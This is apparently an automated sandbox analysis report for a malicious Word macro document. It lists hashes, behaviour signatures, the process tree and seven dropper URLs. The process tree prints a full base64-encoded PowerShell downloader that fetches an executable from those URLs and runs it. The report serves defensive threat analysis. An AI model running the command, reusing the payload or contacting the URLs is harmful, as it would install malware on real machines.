Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:13

General

  • Target

    E3-20200929_222100.doc

  • Size

    150KB

  • MD5

    6b3290c1a91c54cc0a16b30a533e7fe3

  • SHA1

    951cb8535ed8f79e2d6e7adddb90763966498303

  • SHA256

    cc309254f3cdd186551c54c300edb3ef4643447a39ab2c10fe91a33a84b45979

  • SHA512

    2a445db2b08163e90e9cc0dea6d55ec765f49e4dd4a853844eb46d1ddd0f98cf9a3857cadfcd90e6801caaa8cf35c350fd3e741a93919af1efdb795ac32d6a35

  • SSDEEP

    3072:+DW9ZcHT9yEgaLE47f4xlP83+lq8GtqzAR:+8ZcB7Lp4X807GoAR

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sbobetmonte.com/wp-content/r5qS/

exe.dropper

http://www.kushalbharath.com/wp-content/WsD/

exe.dropper

http://dunion.ir/support/8USM0hcA4/

exe.dropper

https://storypostar.com/wp-admin/N/

exe.dropper

https://www.pixelstoryteller.com/wp-admin/kNz1g/

exe.dropper

http://www.tianhengdaojituan.com/wp-includes/JWocY/

exe.dropper

http://nb21.xyz/home/sIBOFci6/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3-20200929_222100.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:692
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABCADkAMQBtAHUAMAA3AD0AKAAnAFAAJwArACcAMwBpACcAKwAoACcAMQA2AG0AJwArACcAcQAnACkAKQA7AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBQAFIAbwBGAGkATABlAFwAeQA1AHEAcQA3ADcAeQBcAFUAMABBAHEAWgBJAE4AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAUgBpAGAAVABgAFkAUABSAE8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxACcAKwAnADEALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABKAHgAZQA1ADUAZAB3ACAAPQAgACgAKAAnAEIAJwArACcAdABoAHEAJwApACsAKAAnAF8AXwAnACsAJwBfACcAKQArACcANAA5ACcAKQA7ACQAVAB2AGsAYgBwAGUAawA9ACgAKAAnAFQANwAnACsAJwBvAGoAdQAnACkAKwAnAF8AOQAnACkAOwAkAFIAdwA0AHQAdABsAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuADUAeQBZACcAKwAnADUAJwApACsAKAAnAHEAcQA3ACcAKwAnADcAeQBuACcAKQArACcANQAnACsAKAAnAHkAVQAwAGEAJwArACcAcQB6ACcAKwAnAGkAbgAnACkAKwAoACcAbgAnACsAJwA1AHkAJwApACkALQBSAGUAUABMAGEAYwBFACgAWwBjAGgAYQByAF0AMQAxADAAKwBbAGMAaABhAHIAXQA1ADMAKwBbAGMAaABhAHIAXQAxADIAMQApACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEoAeABlADUANQBkAHcAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABXAGQAeQAwADEAcQBzAD0AKAAoACcASwAnACsAJwBnAGIAJwApACsAJwA4ACcAKwAoACcANwBkACcAKwAnADAAJwApACkAOwAkAEgAcwAzAG8AMABuAHMAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAQwBMAGkAZQBOAHQAOwAkAEQAYwA3AHYAbgBfAGcAPQAoACgAJwBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcAJwApACsAKAAnAC4AcwAnACsAJwBiAG8AJwArACcAYgBlAHQAbQBvAG4AdAAnACkAKwAoACcAZQAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjAG8AbgAnACsAJwB0ACcAKwAnAGUAbgB0AC8AJwApACsAKAAnAHIAJwArACcANQAnACsAJwBxAFMALwAqAGgAdAB0AHAAJwApACsAKAAnADoAJwArACcALwAvACcAKwAnAHcAdwB3AC4AawAnACkAKwAoACcAdQBzACcAKwAnAGgAJwApACsAJwBhAGwAJwArACgAJwBiAGgAYQByACcAKwAnAGEAJwArACcAdABoAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYwAnACsAJwBvAG4AdABlAG4AdAAnACsAJwAvAFcAcwBEAC8AKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBkACcAKwAnAHUAJwApACsAJwBuACcAKwAoACcAaQBvAG4AJwArACcALgBpACcAKQArACgAJwByACcAKwAnAC8AcwAnACkAKwAoACcAdQBwAHAAbwByACcAKwAnAHQAJwApACsAKAAnAC8AOABVAFMAJwArACcATQAnACkAKwAnADAAJwArACcAaAAnACsAKAAnAGMAJwArACcAQQA0ACcAKQArACgAJwAvACoAaAB0AHQAJwArACcAcABzACcAKwAnADoALwAvAHMAdABvACcAKwAnAHIAeQBwAG8AJwApACsAKAAnAHMAdAAnACsAJwBhACcAKQArACgAJwByAC4AYwBvACcAKwAnAG0AJwArACcALwB3AHAALQBhAGQAJwApACsAJwBtAGkAJwArACgAJwBuAC8AJwArACcATgAvACcAKQArACcAKgBoACcAKwAnAHQAdAAnACsAJwBwAHMAJwArACgAJwA6AC8ALwB3AHcAdwAnACsAJwAuACcAKwAnAHAAJwArACcAaQB4ACcAKQArACgAJwBlAGwAcwAnACsAJwB0AG8AcgAnACsAJwB5AHQAJwApACsAJwBlACcAKwAoACcAbABsAGUAcgAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAE4AJwApACsAKAAnAHoAMQAnACsAJwBnAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvAHcAdwB3AC4AdAAnACsAJwBpACcAKwAnAGEAJwApACsAKAAnAG4AJwArACcAaABlAG4AZwAnACkAKwAoACcAZABhAG8AagBpACcAKwAnAHQAdQBhAG4ALgAnACsAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwB3AHAAJwArACcALQBpAG4AJwArACcAYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAEoAVwBvACcAKwAnAGMAJwArACcAWQAvACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAJwBuAGIAJwArACcAMgAxACcAKwAnAC4AeAAnACsAKAAnAHkAegAnACsAJwAvAGgAJwArACcAbwBtAGUAJwApACsAJwAvACcAKwAoACcAcwBJAEIATwAnACsAJwBGAGMAJwArACcAaQAnACkAKwAnADYALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBsAGkAbAB0AHUAbgA9ACgAKAAnAEwAJwArACcAdgB3AHUAdgA0ACcAKQArACcAMAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAHkAeABmAGoAcABxACAAaQBuACAAJABEAGMANwB2AG4AXwBnACkAewB0AHIAeQB7ACQASABzADMAbwAwAG4AcwAuACIARABvAFcATgBMAGAATwBhAGAAZABgAEYASQBMAGUAIgAoACQAQgB5AHgAZgBqAHAAcQAsACAAJABSAHcANAB0AHQAbAByACkAOwAkAE4AbQBlADcAZgBfAHUAPQAoACgAJwBCACcAKwAnAGkAeABpACcAKQArACcAYwBuACcAKwAnAG8AJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAFIAdwA0AHQAdABsAHIAKQAuACIATABgAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMAMwAwADYAMAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABSAHcANAB0AHQAbAByACkAOwAkAE0ANgBqADIAeABlAGwAPQAoACgAJwBPAHMAJwArACcAZgAnACsAJwA1ADAAcgAnACkAKwAnAHYAJwApADsAYgByAGUAYQBrADsAJABWAG8AdAAwAGQAMwBxAD0AKAAnAFkAagAnACsAJwBrACcAKwAoACcAOABlACcAKwAnAGIAZAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQB3AGQAOQB6AHIAOAA9ACgAJwBWAGUAJwArACgAJwB2ACcAKwAnAHIAcAByAGQAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3040

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2052-45-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-44-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-2-0x000000007186D000-0x0000000071878000-memory.dmp

      Filesize

      44KB

    • memory/2052-5-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2052-6-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2052-7-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2052-24-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-16-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-28-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-43-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2052-0-0x000000002FA01000-0x000000002FA02000-memory.dmp

      Filesize

      4KB

    • memory/2052-36-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-38-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-63-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-62-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-53-0x000000007186D000-0x0000000071878000-memory.dmp

      Filesize

      44KB

    • memory/2052-58-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2052-59-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2052-60-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/3040-51-0x000000001B270000-0x000000001B552000-memory.dmp

      Filesize

      2.9MB

    • memory/3040-52-0x00000000020C0000-0x00000000020C8000-memory.dmp

      Filesize

      32KB